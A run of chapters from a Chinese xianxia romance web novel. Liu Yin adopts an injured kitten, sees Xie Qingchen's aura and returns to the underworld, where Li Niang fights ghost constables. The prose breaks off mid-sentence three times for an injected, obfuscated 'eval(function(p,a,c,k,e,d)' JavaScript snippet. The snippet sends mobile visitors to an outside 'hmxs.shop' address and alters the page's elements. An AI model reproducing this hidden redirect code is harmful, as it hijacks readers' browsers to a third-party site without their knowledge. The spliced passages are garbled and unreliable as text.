柳音迫不及待要去看小猫,拉着谢清尘走得飞快,不想身后却传过来一阵急促的脚步声,然后是商进焉气急败坏的大喊声:“谢清尘!你给我站住!” 商进焉甩着金灿灿的袍袖,大踏步冲过来挡到前方,厉声指责道:“让你给本少主道歉你不道,反而还敢再看我的人的灵府,简直欺人太甚!” 他指着谢清尘的鼻子,怒不可遏:“你凭什么看本少主的灵府?你别以为仗着自己修为高,本少主就会怕你!今天你不给本少主个说法就别想走!” 谢清尘不予理会,带着柳音绕过他,继续向前走去。可商进焉却纠缠不休,又冲到前方拦住他们的去路,义愤填膺地发泄他的怒气。 见他骂骂咧咧,来回车轱辘似的就会那几句话,柳音被他吵得不耐烦了,开口道:“他不就是看了你的灵府?你看回去不就行了,他又没拦你。” “我、我看回去?我怎么看?”商进焉被噎得说话都不利索了。 “他怎么看的,你也怎么看呗。”柳音打量着他,思索道,“你该不会是看不了吧?” 金尊玉贵的小公子,顿时又气得脸红脖子粗:“谁说我看不了的!” “那你快看呀。”柳音催促道,“快点看完,我们还要去看小猫。” “小猫有什么好看的?我养的狮鹫兽威风多了!”商进焉从鼻子里冷嗤,一脸的不屑。 “狮鹫兽?”柳音有些好奇,“长得像狮子吗?很大吗?” “不告诉你!”商进焉又冷嗤一声,看着她和谢清尘牵在一起的手,恶意满满地嘲讽道,“柳音,你傻不傻?当初可是他杀了你!你竟然还跟他在一起,还替他说话?你脑子没事吧?” 柳音不在意他的挑拨,露出一脸灿烂的微笑,朝他扬起眉梢:“我乐意!” 谢清尘懒得再纠缠下去,拉着柳音就要离开。 眼看他们俩我行我素,完全当他不存在一样,商进焉气得脸都黑了,恼怒道:“柳音!你是不是忘了殷无归是怎么死的?” “殷无归”这三个字,在舌尖滚了滚,柳音忽然心头刺痛,感觉有些莫名的熟悉。 “殷无归是谁?”她问。 一时间,整个天地都寂静了。 不知道什么时候下起雪,纷纷扬扬,漫天飞舞。 商进焉皱起眉,满眼不解地打量她:“你竟然问殷无归是谁?你不记得了?他就是……” 不等他说完,只听锵的一声铮鸣,谢清尘猛地拔剑出鞘,剑尖直指商进焉,语气森冷道:“滚。” 英姿挺秀、郎艳独绝的无尘剑尊,寒眉冷目,戾气横生。 商进焉立马闭了嘴。 第一次见谢清尘这般生气,柳音诧异地打量他,忍不住问:“那个殷无归,和你有仇?” 细长漆黑的眼睫被雪色沾染,仿佛连他的眼神都冻住了一样,谢清尘面色沉郁,眸如寒霜,语气冷冰冰道:“不过是个不相干的人。” 他还剑入鞘,目光冷冰冰地盯了商进焉一眼。 那一眼的眼神,饱含着森冷的威胁和杀意,骇得商进焉缩了缩脖子,再不敢多言。 柳音的手被谢清尘重新握住,带着她向柿子林走去,她能感觉到谢清尘的情绪很不好。 那个殷无归……算了,不问了。 看谢清尘那样子,只怕她问了,他也不想说。 往事必然不太愉快。 如今那人已死,就像她也死了一样,都是上辈子的事了。 再提也没有意义。 嘴角扬起一丝微笑,柳音反握住谢清尘的手,笑眯眯地对他道:“霍灵潇说,可以给我一只小猫,你喜欢猫吗?我能不能养在你房中?” 谢清尘默默看她,半晌,轻轻点头:“可以,只要你喜欢就好。” 路上残雪尚存,新雪又落下来,两人踩着簌簌的积雪,一路走到后山,黄澄澄如千万盏灯笼一般的柿子林俨然在望。 柳音在避风亭找到霍灵潇,这亭子四周用竹帘围起来,可以挡风雪。 石桌下面铺着厚厚的干草,里面是挤挤挨挨的一窝小猫。 霍灵潇正在给那些小猫喂食,旁边还有一个青衣束发的年轻男子,手上戴着洁白的手套,正在给一只巴掌大的小猫包扎后腿。 “小猫怎么了?”柳音探头打量。 霍灵潇边摸小猫边叹息道:“它不老实,自己到处乱跑,被仙鹤咬断了后腿。” “那它还能活吗?”柳音担心地看着那只小猫,不过巴掌大一团,黑白橘三色,毛茸茸胖嘟嘟,正在喵喵叫着翻滚挣扎。 “当然能活!”霍灵潇肯定道,“十一师兄已经给它诊治过了,不用半个月就能好起来……只是它身上沾上药味儿,大猫不肯再给它喂奶了。” 柳音怜惜道:“那把它给我吧,我可以给它喂食。” “这一窝有九只小崽,都很可爱,随便你挑哪只都行。”霍灵潇指着石桌底下那些小猫,“你自己选。” 柳音看着那一窝毛茸茸挤来挤去的小猫,笑眯眯地摇头,指着受伤那一只道:“不用了,我就要这一只。” 霍灵潇欣喜地答应了。 “柳音姑娘还是像从前一样,宅心仁厚。”青衣束发的年轻男子站起身,将包扎好的小猫递到柳音怀中,笑容温和道,“这猫儿跟着你,可以享福了。” 他说着,又从旁边药箱中取出一只药瓶:“这是续骨生肌的药粉,混着羊奶一天喂一次,不出十天半月就能好。” 柳音爱不释手地抱着小猫,接过药瓶,向他道谢。 “姑娘客气了。”他展颜一笑,“怀安也不过举手之劳。” 怀安? 想起霍灵潇似乎叫他“十一师兄”……柳音抬起眼帘,仔细打量那青衣男子。 他的个头不算高,但是肩宽腿长,身材魁梧,而且长得眉清目秀,极为和善,那一双清澈如溪水般的眼睛,仿佛天然带笑,令人很容易便心生亲近和好感。 柳音看着他的眼睛,莫名觉得有些熟悉,仿佛在哪里见过一样:“你是……薛怀安?” “正是薛某。”薛怀安笑意温和地看着她,“姑娘记起我了?” 柳音眼神闪动,又试探着问:“怀安仙君,你有没有去过云州?” “云州?”薛怀安诧异了一瞬,摇头,“不曾去过,姑娘何有此问?” “那你认不认识黎娘?”柳音不甘心地盯着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991907|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛,“她叫苏夜黎。” 旁边的霍灵潇瞥她一眼,神色不高兴了,撇嘴问:“什么黎娘?十一师兄,你认识吗?” 薛怀安依旧茫然,摇头道:“不认识。” 霍灵潇却还不放心,又问柳音:“你说的那个黎娘,是谁啊?她是哪个宗门的?” “哪个都不是,她已经死了。”柳音默默摇头,心底失望不已,看来眼前这位薛怀安,的确不是她要找的人。 “天色不早,我先回去了。”薛怀安收拾起药箱,向柳音她们道别,“若是小猫有事,你们再找我。” 他提着药箱,缓缓走下石阶,这才看到站在避风亭外的谢清尘,连忙快步走上前去行礼:“无尘剑尊,怀安失礼了。” “无妨。”谢清尘淡淡扫他一眼,眸光微敛。 薛怀安却还是不敢抬头看他,半低着头,恭敬道:“怀安还要做晚课,此时怕是要迟到了,请容晚辈先走一步。” 他又拘了一礼,然后便提起药箱,就要离开。 “慢着。”谢清尘却忽然叫住他。 “怀安仙君,你也是木灵根?” “是。”薛怀安转过身,眉清目秀的脸庞,神色微有些诧异。 半晌,他似明白过来,恍然道:“剑尊是想看我的灵府?那……您看吧。” 他正要放下药箱,远处忽然有人高声喊他:“怀安师兄,快点快点!师父有事要找你!” 薛怀安回头应了一声,转而又看向谢清尘,神色不禁有些为难。 谢清尘幽冷的目光审视着他,须臾之后,淡淡道:“你先去吧。” 薛怀安面露感激之色,行礼道谢,然后便急匆匆地离开了。 避风亭里面,柳音抱着小猫,向霍灵潇讨教一些喂养的方法。霍灵潇说的仔细,又附赠她一包奶糕,喂这种刚出生不久的小猫刚刚好。 回去的路上,柳音拨弄着小猫的茸毛,惋惜道:“刚才那个男修也叫薛怀安,可惜不是我要找的人。” 想了想,她又问:“你和他熟悉吗?” 谢清尘缓缓摇头:“仙门各宗每十年有一次大比武,曾经见过他几次,但是不熟,今日方才知晓他的全名。” 狭长的眸子微微眯起,他的声音沉了几分:“他也是木灵根。” 柳音讶异了一瞬,马上就觉得不可能。 看他救治小猫,觉得他是个心地善良又温和的人,在她面前举止也很自然,不像那种会谋害她偷她树髓的人。 不过知人知面不知心,这种事也不敢保证,谁知道那个薛怀安会不会是装的? 她一边抚摸毛茸茸又顽皮的小猫,一边问谢清尘:“你怎么知道他是木灵根?” “看出来的。”谢清尘解释道,“你现在没有灵力,所以看不到,每个修道之人身上气韵都不同。木灵根是一层绿色微光,火灵根是红色,水灵根是蓝色,等等。道行和灵力越强,周身气韵颜色便越深,光芒也越盛。” 柳音想象了一下,似乎还挺好看?可惜她看不到。 “那你呢?”她好奇地问,“你的气韵是什么颜色?” 谢清尘垂眸:“你想看?” 柳音点点头。 11. 011 薄削的唇角微微上扬,谢清尘走前几步,转过身来看着柳音,身上渐渐浮起一层像是银夜紫毫般的瑰丽光芒,如烟似雾地笼罩在他的身周,锋芒毕露,气势巍峨。 原来这就是气韵! 柳音惊讶地瞪大眼睛,这才发现他的衣袍原来不是寡淡的白色,而是从银亮到银灰的渐变色泽,从领口腰线到衣袖袍角都有从浅淡到深浓的暗紫色雷云纹,衬着他那挺拔颀长的身形,还有那英姿俊美的脸庞,仙气飘飘,孤傲清绝,好看得令人惊心动魄,心荡神驰。 原来有灵力的仙人眼睛里的世界竟然这般精彩,可惜她如今只是个鬼,看不到谢清尘的全貌,不知道他竟然好看成这样! “你能不能一直保持这个样子?”柳音一眼不眨地盯着他,着实赏心悦目,生怕他会突然消失。 谢清尘缓缓摇头,很快那些光芒便消散了,他又恢复成先前那一身白衣的素净模样。 “我给你的眼睛施了一点法术,所以你能看到气韵。但这法术不是你自己的灵力,不能长久,不然对你的眼睛不好。” 想到以后看不到那些漂亮的气韵,只能勉强看个大概,柳音遗憾不已,不甘心地问:“那我还能有灵力吗?” “等我找回你的树髓,你就可以重新修炼。”谢清尘拉起她的手,脸上神情严肃又认真,“九州仙门十三宗,当年那日出现的百十号人,都在这里。木灵根一共十七人,我一个都不会放过。” 柳音眨了眨眼,默默思考。 重新修炼,意思是说,一切都要从头开始? 且不说她能不能拿回树髓,就算能拿回来,她可以重新修炼,光到筑基恐怕就要几十年,再想有所建树,少不得又要好几百年。 就为了能看到谢清尘身上的气韵,欣赏他的全貌,让她去辛辛苦苦修炼几百年? 那倒也不必,她还没有好色至此。 见谢清尘正满眼期冀地看着她,柳音干巴巴地敷衍一声,很快便转换话题。 “你看这小猫,多可爱!”她将毛茸茸的小三花猫举起来,展示给他看,“给它取个什么名字好呢?” 柳音想来想去,可是脑袋空空,想不出什么有文采的好名字,干脆道:“叫‘小花’吧,柳小花,以后就是我的宝宝了!” 漆黑细长的眼睫微微一颤,谢清尘脚步顿在那里,往事如过往云烟,仿佛有种抵挡不住的命运排山倒海般奔涌而来,瞬间冲垮了他勉力筑起的所有防线,逼得他眼眶发疼,心头发烫,止不住担忧和彷徨。 柳音见他没跟上,回头看他,奇怪道:“怎么了?” “……没事。” 喉头堵得酸涩难言,谢清尘快步走到她旁边,伸手接过她怀中的小猫,检查那条伤腿。确认小猫只是腿骨断了,其它没问题,他又将不断挣扎的小猫放回柳音怀里,修长的手指在小猫头顶抚摸一下,轻声道:“小花一定会好好陪着你,平平安安,健康顺遂。” 看他那一脸郑重的样子,仿佛是在宣判神明的祝语,带着不容置疑的笃定和恩赐,许诺给一只微不足道的小猫。 柳音不由笑起来,觉得他有时候也挺有趣。 回到客居的山外峰,天色已经黑透了。 前厅里面热热闹闹,人来人往,孟湛他们刚摆下饭桌,正要开饭,瞧见谢清尘和柳音回来了,连忙起身道:“师兄……要不要和我们一起?” 谢清尘看到摆在饭桌中央那一瓮红焖兔肉,冷声道:“不必了。” 他带着柳音回到自己房中,马上便有一个小弟子端着托盘过来给柳音送晚饭。 谢清尘没让他进门,抬手接过托盘,用下巴指着还在加热的瓮炉,压低声音道:“把这个拿走,以后不许吃了。” 小弟子眼神有些不解,但又不敢多问,连忙端起盛兔肉的瓮炉,悄悄退下了。 柳音没注意他这边的动静,抱着小猫走到屋里,从自己的包袱里翻来翻去,找出一条质地柔软的棉裙,团起来给小猫做了个猫窝。 断了一条后腿的小三花猫依旧十分顽皮,不肯在猫窝里安分待着,一劲儿向外爬,两只前爪挠来挠去,一边喵喵叫着,不住去咬包在后腿上的布条。 柳音怕它把布条咬坏,连忙拿出霍灵潇给的奶糕,掐成一小块一小块的,喂给小家伙。 “慢点吃呀,小花花~” “你怎么有这么多毛毛,怎么这么可爱?” “宝宝真乖,阿娘爱你呀~” 柳音夹着嗓子逗小猫咪,喂一块奶糕捏一下小爪,玩得不亦乐乎。 谢清尘在一旁看着,只觉往事如云烟,袭人眼目。他满腹怅然站在那里,仿佛有千百句话想说与她听,最终开口,却只是催她去洗手,饭菜要凉了。 柳音先把小猫喂饱了,这才去洗手吃饭。 云麓仙宗这边的饭菜很不错,有荤有素,色香味俱全,比起在那些客栈里吃的美味多了。 只是谢清尘辟谷,不需要吃饭,只在一边坐着看她吃,这饭就不如两个人一起吃得香。 “炙羊肉可香了,你要不要尝一尝?” “不了,你吃。” 柳音吃着鲜美的羊肉,竟然有股特别的奶香味,便又夹起一块,喂到谢清尘嘴边。 谢清尘也没再拒绝,就着她的手,把肉吃了。 这些天相处下来,柳音发现,不管问他什么都说不吃,但是只要喂到他嘴边,他就会吃。 于是柳音也不再问了,觉得好吃的东西,直接分他一半。 有时是千金难买的奇珍佳味,有时是半块番薯几颗葡萄……只要是她给的,他都会吃。 饭后将盘碗收拾干净,谢清尘又沏上一壶新茶,给柳音消食。 柳音又捞起顽皮的小猫,在地上来回走着,想起薛怀安,不免心事重重。 她大概没办法帮黎娘找到她的夫君了。 见她一脸欲言又止,显然有话想对他说,谢清尘静静看向她,等她开口。 “我想回一趟阴曹地府。”柳音抱着小猫,眼巴巴地望着他,“你能不能送我回去?” 握着茶盏的手一顿,谢清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991908|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘问:“回去做什么?” 柳音揉搓着小猫头,无奈道:“我找不到薛怀安,回去跟黎娘说一声,叫她别等了。” 将沏好的茶水推到她手边,谢清尘淡淡道:“我建议你别说,不说,她还有个念想。” “可她已经等了七十年,说不定哪天就要魂飞魄散了。”柳音想起黎娘含泪的眼睛,“我怕回去晚了,就见不到她了。” 黄泉道上阴煞之气很重,不仅会侵蚀活人,也会消磨那些游魂野鬼。 像黎娘他们,若是一直在黄泉道上游荡,最终便会魂飞魄散,再不能投胎转世。 谢清尘沉默一会儿,终于松口:“从这里去酆都,来回需要两日。我明日一早将事情安排好,带你去。” 他的目光定定看着她,又补充一句:“但是,你去了以后,还要回来。” 柳音欣喜地点头,连连保证:“我去知会黎娘一声,很快就回来,保证不耽误你的事!” 她将小猫抱到桌上,两手捏着毛茸茸的猫爪,向谢清尘拱手作揖,一边夹着嗓子,嗲声嗲气道:“谢谢剑尊大人,大人您可真好!” 眼底霜色微微融化了几分,谢清尘抬手挠挠小猫下巴,温声道:“早些睡吧,明日一早便起程。” 柳音抱着小猫去睡觉,将她做的猫窝摆在枕头边上。结果她没一会儿便睡着了,那三花猫却来了精神,身残志坚地拖着伤腿,在柳音身上爬来爬去。 谢清尘坐在窗边守夜,怕小猫把她吵醒,便走过去将小猫抱起来,尝试用奶糕去喂它。 软软的猫舌头带着细小的倒刺,舔着奶糕,也舔舐着他的手指。 谢清尘不适地蹙眉,但没松开手。 夜色清幽,细风呜咽,他的声音像低低的叹息:“柳小花……” “柳小花就交给你了,你可要把它看好,千万别弄丢了!” 翌日傍晚,赶到酆都之后,柳音恋恋不舍地将小猫交给谢清尘看管,自己去进鬼门关。 谢清尘抱着小猫,从袖中取出一只乾坤袋,交给柳音:“你将柳哨取下来,放在里面保存好。锁魂引在乾坤袋中不起作用,那些鬼差不会拦你。等出来的时候,再把柳哨重新戴上。” 他看着柳音,又沉声叮嘱:“记住了,两个时辰之后,若你没出来,我便去寻你。” 想起他那一身血衣闯进幽冥地府的样子,实在有些疯魔过头,若是再闯一次,万一伤到脸毁了容,那就可惜了。 柳音向他下保证:“用不着那么久,我很快就回来,放心吧!” 天幕晦暗低沉,萧瑟阴风阵阵。 高大的鬼城门甬道深十余丈,两边悬挂着一串串白皮灯笼,在浓稠的黑雾中翻飞摇曳着,影影绰绰,阴森鬼魅。 目送柳音走进鬼门关,单薄的身影渐渐消失,谢清尘的心也渐渐提吊起来。 就像放出手的纸鸢,被风吹得越飞越高,渐渐飞出他的视线,手中能握住的只剩一根细弱的游丝,不知道那一端的纸鸢,是否还在。 她……还会回来吧? 12. 012 柳音走进鬼门关,眼前已经换了一副景象。 晦暗的天幕阴沉沉的,再看不到任何一丝光亮,荒草丛生的黄泉道上,一侧是红艳艳的彼岸花,一侧是支离破碎的森森白骨,不时有乌鸦鸹叫着飞过,阴风阵阵,鬼声哭嚎,骇得人头皮发麻,肝胆惧颤。 柳音没有理会那些鬼鬼祟祟躲藏在暗处的脏东西,很快走到野鬼坡,挂着纸灯笼的仁心堂俨然在望。 柳音走进去的时候,一群野鬼围在那里看热闹,黎娘正在给一个砍头鬼缝伤口,细密的针脚将那脱落的头牢牢缝在脖子上,然后再缠上几圈布条作为遮挡,看上去便体面许多。 “多谢黎娘,还是你手艺好。”那砍头鬼捂着自己的脖子,感激道,“要不是你帮我把头抢回来,只怕我早已经被那些恶狗啃得骨头渣都不剩了。” 黎娘剪断线头,漫不经心道:“是你运气好,恰巧被我碰上罢了。” 她抬起头,看到柳音,眼睛顿时一亮。可是看清柳音脸上的表情,她又似乎明白了什么,垂下眼帘继续整理针线,将用过的骨针仔细擦拭干净,插到棉布上,再将散乱的丝线缠绕成一团,收到药匣子里放好。 “咦,小柳子,你怎么回来了?”抠门鬼眼尖,一下便把柳音抓出来。 吊死鬼老婆婆惊喜不已,连忙抓住柳音的手:“你这丫头,怎么突然回来了?那姓谢的是不是又欺负你了?” 一时间,围着看热闹的野鬼们纷纷七嘴八舌地议论起来: “我就说他不靠谱吧!他可杀过小柳,这种渣男岂能轻易原谅?” “小柳子肯定受了不少委屈,不然怎么会回来这里?姓谢的口口声声要好好待她,根本就是屁话!” “小柳到现在都没长出鬼爪,身上一丝怨气都没有,可见是爱惨了姓谢的,你们说的,她未必能听进去啊!” …… “你是……柳音?”刚把头缝上的砍头鬼盯着柳音仔细打量,惊讶道,“还真是你!” 柳音满眼陌生:“你认识我?” “你不认识我?”砍头鬼又惊讶又失望。 “你是我同门师兄?” “那倒不是。” 听说柳音失忆了,砍头鬼挠挠头:“我是在蓬莱仙宗给碧游峰弟子做饭的厨子,周大贵……你都不记得了?你以前最爱吃我做的鸡丝面,每次都能吃一大碗!” “是吗?”柳音打量着他,关心道,“你怎么也来这里了?你的头……” 周大贵来回摸着脖子,自嘲道:“陵德长老嫌我做菜不好,罚了我半年工钱,我气不过,给他下了点巴豆。谁知他竟然中毒了,查到我头上,我百口莫辩没人信,最后就被砍了脑袋。” “陵德长老?”柳音讶异道,“这惩罚也太严重了吧?” “那山羊胡最狠了!”周大贵悻悻道,“偏生我倒霉,栽到他手里,我一定要诅咒他不得好死!” 柳音隐约有点印象,那个山羊胡长老,似乎就是当初拜入蓬莱仙宗时,要将她拒之门外的那个人,瘦巴巴的一张脸,下巴长着一撮山羊胡,说话语气十分严厉。 周围那些野鬼们听说周大贵和柳音是旧相识,越发激动起来,纷纷拉着他问东问西。 周大贵生前一直都在蓬莱仙宗干活,不知道云麓仙宗那边的斩蛇大会上发生的事,也不知道柳音重返过阳间。骤然听说她被谢清尘带走,他惊得眼珠子都快瞪出来了。 “柳音,你可千万别犯糊涂!”周大贵一脸着急,“谢清尘不可能跟你在一起,他都是骗你的!你可别信他!” “为什么?”柳音一脸疑惑。 “你难道都忘了吗,一点都不记得?”周大贵恨不争气地看着她,“谢清尘和沐玥瑶是青梅竹马,从小一起长大,老宗主和曾夫人一早就看好他们两个,想让他们结成道侣!不然那谢清尘一个草根出身,在仙门无根无基,凭什么那么受重视?” 他连比带划,苦口婆心道:“你以前对谢清尘那般好,为他掏心掏肺,他可曾多看过你一眼?你知道他为什么对你那么冷淡吗?” “因为和你在一起,他就算有剑尊的名号,也不过是个普通弟子。但是和沐玥瑶在一起,他就是蓬莱仙宗未来宗主的夫君,至少能坐上大长老的位子,整个宗门所有资源都紧着他取用!你说他会怎么选?” 柳音想起谢清尘说过,沐玥瑶只是他的师妹,他喜欢的人是她。 可是结道侣是怎么回事?难道谢清尘骗了她? “后来呢?后来是怎么回事?”野鬼们纷纷追问,“姓谢的既然想跟那沐玥瑶在一起,为什么还要来阴曹地府,把小柳子带回去?” 周大贵被问住了,半晌咂吧着嘴,含糊道:“这个我就不知道了,大概是愧疚吧,谁让他错杀了柳音?” “不过……”他抱臂在身前,慢慢搓着下巴,忽然四下扫视一圈,压低声音道,“据我所知,沐玥瑶资质一般,一直无法突破真境。所以这么多年,她始终不够资格上任宗主之位。” “没错,这个我也知道!”另一个野鬼附和道,“九州仙门十三宗的规矩,各宗之主的修为必须达到真境,方有资格上任,否则就只能继续历练,由其他真境以上的长老代管宗内事务。” 周大贵点点头:“所以为了让沐玥瑶早日突破真境,曾夫人已经开始准备她与谢清尘的婚事。” 他意味深长道:“因为双修之术大有助益,特别是像谢清尘这种已经突破化境的强者,还是纯阳之身,只需一次就能让沐玥瑶突破。” 因为被污蔑又被砍头,周大贵已经恨透了蓬莱仙宗,直接像竹筒倒豆子一般,将蓬莱仙宗那些不曾为外人道的隐秘一股脑抖落出来。 反正他都已经死了,也没什么可顾忌的。 他又看向柳音,提醒道:“据我所知,曾夫人亲手为沐玥瑶缝制的喜服已经做好了,就等斩蛇大会结束,谢清尘回蓬莱,他们就会成婚。” “渣男!” “恶心!” “骗子!” “脚踩两条船!” …… 众野鬼们愤愤不平的谩骂声中,柳音想起曾夫人望着她时,那一双满是慈爱的眼睛,仿佛拿她当亲生女儿一样……难道是假的吗? 还有谢清尘,对她满口保证,却又若即若离,始终不肯和她亲近,难道是为了沐玥瑶,要将纯阳之身留给她? 心里感觉很不舒服,柳音想丢掉谢清尘,却又舍不得他的美色。 谁叫她还没得手呢,没得到的总是最好的。 她默默在心里盘算,等回去之后,找谢清尘问清楚。 若他当真脚踩两条船,一边要跟沐玥瑶成婚,一边对她卖弄深情,那就让他滚吧。 天底下又不是只有他一个美男子。 “柳音?我跟你说的记住了吗?”周大贵见她出神,伸手在她眼前晃了晃,忿忿不平道,“你既然已经死了,赶紧去转世投个好胎,别再回去趟浑水了!蓬莱仙宗没一个好东西!” 其他野鬼也跟着附和:“是呀!小柳子,你这次回来,不会再走了吧?就算不去投胎,留在这里和我们唠嗑也好呀!” 柳音笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991909|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应和几声,从闹哄哄的屋子里挤出去。 黎娘正在外面等她,瞧见她出来了,转身一言不发地向远处走去。 柳音慢慢跟在后面,随手扯掉一根干枯的草梢把玩着,一时间不知道该如何开口。 阴森又荒凉的黄泉道上,干枯的老树枝头落满黢黑的乌鸦,刮骨磨牙地叫着,越发显得四下阴风阵阵,一片死寂。 黎娘走着走着,脚步停下来,望着那棵干枯的老树,淡淡道:“你没找到他?” 柳音从鼻子里嗯了一声,脚下踢走一颗小石子,慢慢走到她旁边,把找人的经过说了一遍。 “七十年,实在太久了。”她遗憾道,“说不定他早已经不在了。” “不可能。”黎娘盯着远处的鬼门关,漂亮的眼睛里像燃着一团烈火,“我守在这黄泉道上,看过每一个进入鬼门关的鬼魂,没有一个是他!他一定还活着!” 柳音默默把玩草梢,过了许久,沉吟道:“那你再说说他的事吧,想想他可能会去哪里?他长什么样子?多说一点,我再去找找看。” “他……”黎娘的眼睛微光闪动,像是陷入久远的回忆,“他的个头不算高,但是身形矫健有力,经常去山间野外采药,身板很结实。而且他长得很好看,很白净,很儒雅,有一双最善良最温柔的眼睛,无论对谁说话都温声细语,令人如沐春风。” “他家世代行医,他的医术很好,街坊四邻都喜欢去他的医馆找他看病,花钱少,病好得快,都夸他是妙手仁心的活菩萨。” “我本是乡下农女,我娘连生两个弟弟,家里穷得揭不开锅,我爹要把我卖到镇上富户当小妾,可我宁死不从。” 黎娘慢慢说着,嘴角逸出一点笑意:“那天下着好大的雪,我逃跑的时候被我爹抓到,从街头打到街尾,最后一脚踹中我的心口窝,差点把我打死。” “是他路过,把我爹拦下,我爹耍无赖,非要让他给五两银子,把我卖给他。他给了银子,把我带回医馆,要给我看病。他说不需要我给他当丫鬟,等他把我的伤治好,就让我离开。” 黎娘红了眼圈,微笑道:“可我最重的伤,是被我爹踹的那一记窝心脚,大概已经伤到心脉。他不得已,便说会娶我,然后给我下针,看了我的身子。” “在遇到他之前,我从不知道什么是幸福和快乐,是他给我治伤治病,让我吃饱穿暖,教我读书认字,照顾我保护我,让我过上人的日子。”她脸上笑着,眼角泪滴却一颗颗滑落,“只是我的心脉受损,一直治不好,天气冷就会发作起来,心脏时跳时不跳,整个人都喘不过气。” “为了给我治病,他想尽各种办法,可始终治不好。直到那年冬天,我的病又发作起来,眼看就要不行了。他给我吃了一颗护心丸,说要去找仙药,可以救我的命……可是从那天起,他走之后,再也没有回来。” 柳音听得唏嘘不已:“薛怀安去哪里找仙药?他有没有告诉你?” 黎娘默默摇头:“我那时昏迷着,记不清他说了什么。” “这可不好找。”柳音犯难,“那么多年过去,也不知道他会去哪里,变成什么样子……你还记不记得他身上有什么特征?” 黎娘回忆道:“他是个左撇子,习惯用左手吃饭写字。” 蹙眉思索了一会儿,她又抬头道:“对了,他的左耳垂后面有一颗芝麻大的红痣,不注意就看不到。” 柳音点点头,正想再问几句,眼前却突然一晃,四下浓稠的黑雾中走出七名凶神恶煞的鬼差,长刀弯钩森冷雪亮,缓缓将她和黎娘包围起来。 13. 013 “苏夜黎,柳音。”当先的鬼差按着腰刀,铁青的脸色冷冰冰审视着她们,寒声道,“你们两个踯躅在野鬼坡已经够久了,今日就随本吏去阎罗殿受审!” 柳音暗道不好,碰上巡逻的缉魂吏了! 那说话的缉魂吏叫“铁面”,最是铁面无情,但凡被他碰上,没有哪个野鬼能从他刀下逃脱。 平时他们这些孤魂野鬼都躲在黎娘的仁心堂里面,不会在外游荡,那些鬼差们睁一只眼闭一只眼,也不会轻易闯进仁心堂去冒险。 毕竟鬼差数量不多,而仁心堂里面藏匿的野鬼却成百上千,若是当真打起来,那些鬼差也占不到上风。 只是今天疏忽了,她和黎娘走得太远,落了单。 她们两只鬼一下对上七名鬼差,哪怕黎娘是这野鬼坡上爪子最利煞气最重的厉鬼,恐怕也未必能全身而退。 “我拦住他们,你赶紧走。”黎娘将柳音挡到身后,抬起森白的两只手,艳红的指甲突然暴涨好几倍,原本漂亮美艳的脸庞瞬间变得扭曲起来,七窍渗出发黑的血,突出的鬼牙狰狞又锋利。 看到她们不肯乖乖就范,铁面也不再废话,拔出腰刀严阵以待,同时给其他鬼差打眼色。 二对七,柳音又是个连鬼爪都没有的拖油瓶,眼睁睁看着那些鬼差厉声呼啸着扑面而来,不由头皮发麻,正要闭眼等死,黎娘却忽然抓住她的衣领,猛地手臂一扬,直直将她扔到前方那棵高大的枯树上,惊起一片乌鸦刮刮叫着黑云般散开。 柳音惊慌之余,连忙抱紧树杈站稳,回头看到黎娘已经和那些鬼差厮杀起来,刀刀见血,爪爪见肉,肆虐的煞气如有实质一般向四周蔓延,惊得百鬼哀哭,仓惶逃窜。 两脚止不住发颤,柳音担心黎娘被杀,抓得树皮都掉了好几块。可是没想到,黎娘竟然超级能打,每个想要脱身去抓柳音的鬼差都会被她一爪子薅回去,用锋利的獠牙噬掉一层血肉,艳红的衣裙在刀光剑影里滚动,仿佛一团燃烧的烈火。 阴风烈烈,天地昏惨。 柳音是鬼,掉不出眼泪,可她却止不住想哭。 她不知道黎娘究竟是怎么死的,不知道多深多重的怨气才能生出这么锋利的鬼爪和獠牙,竟然以一打七,丝毫不落下风。 “还不快走!”黎娘朝她嘶喊。 “你小心!”柳音抱着树干向下滑去,可是还不等落地,身后杀气顿显,黑雾中竟然又冲过来两名鬼差! 黎娘连忙冲过去阻拦,狰狞的眼眶渗出乌黑的血,锋利的指甲变成淤紫色,猛地一爪撕碎一名鬼差的半边脸,暴涨的头发又缠住另一名鬼差的手脚。 可是仓促间,铁面厉喝一声,拔地而起,雪亮的长刀劈天斩下,瞬间斩断黎娘的头发和半只手臂。 尖锐的嘶鸣声几乎撕破耳膜,黎娘伏地痛苦地挣扎扭动着,却不防那些鬼差又扑上来,眼看就要将她斩杀。 柳音急得大喊,也不管自己手无缚鸡之力就要扑上去。电光火石间,一股大力猛地将她丢出去。 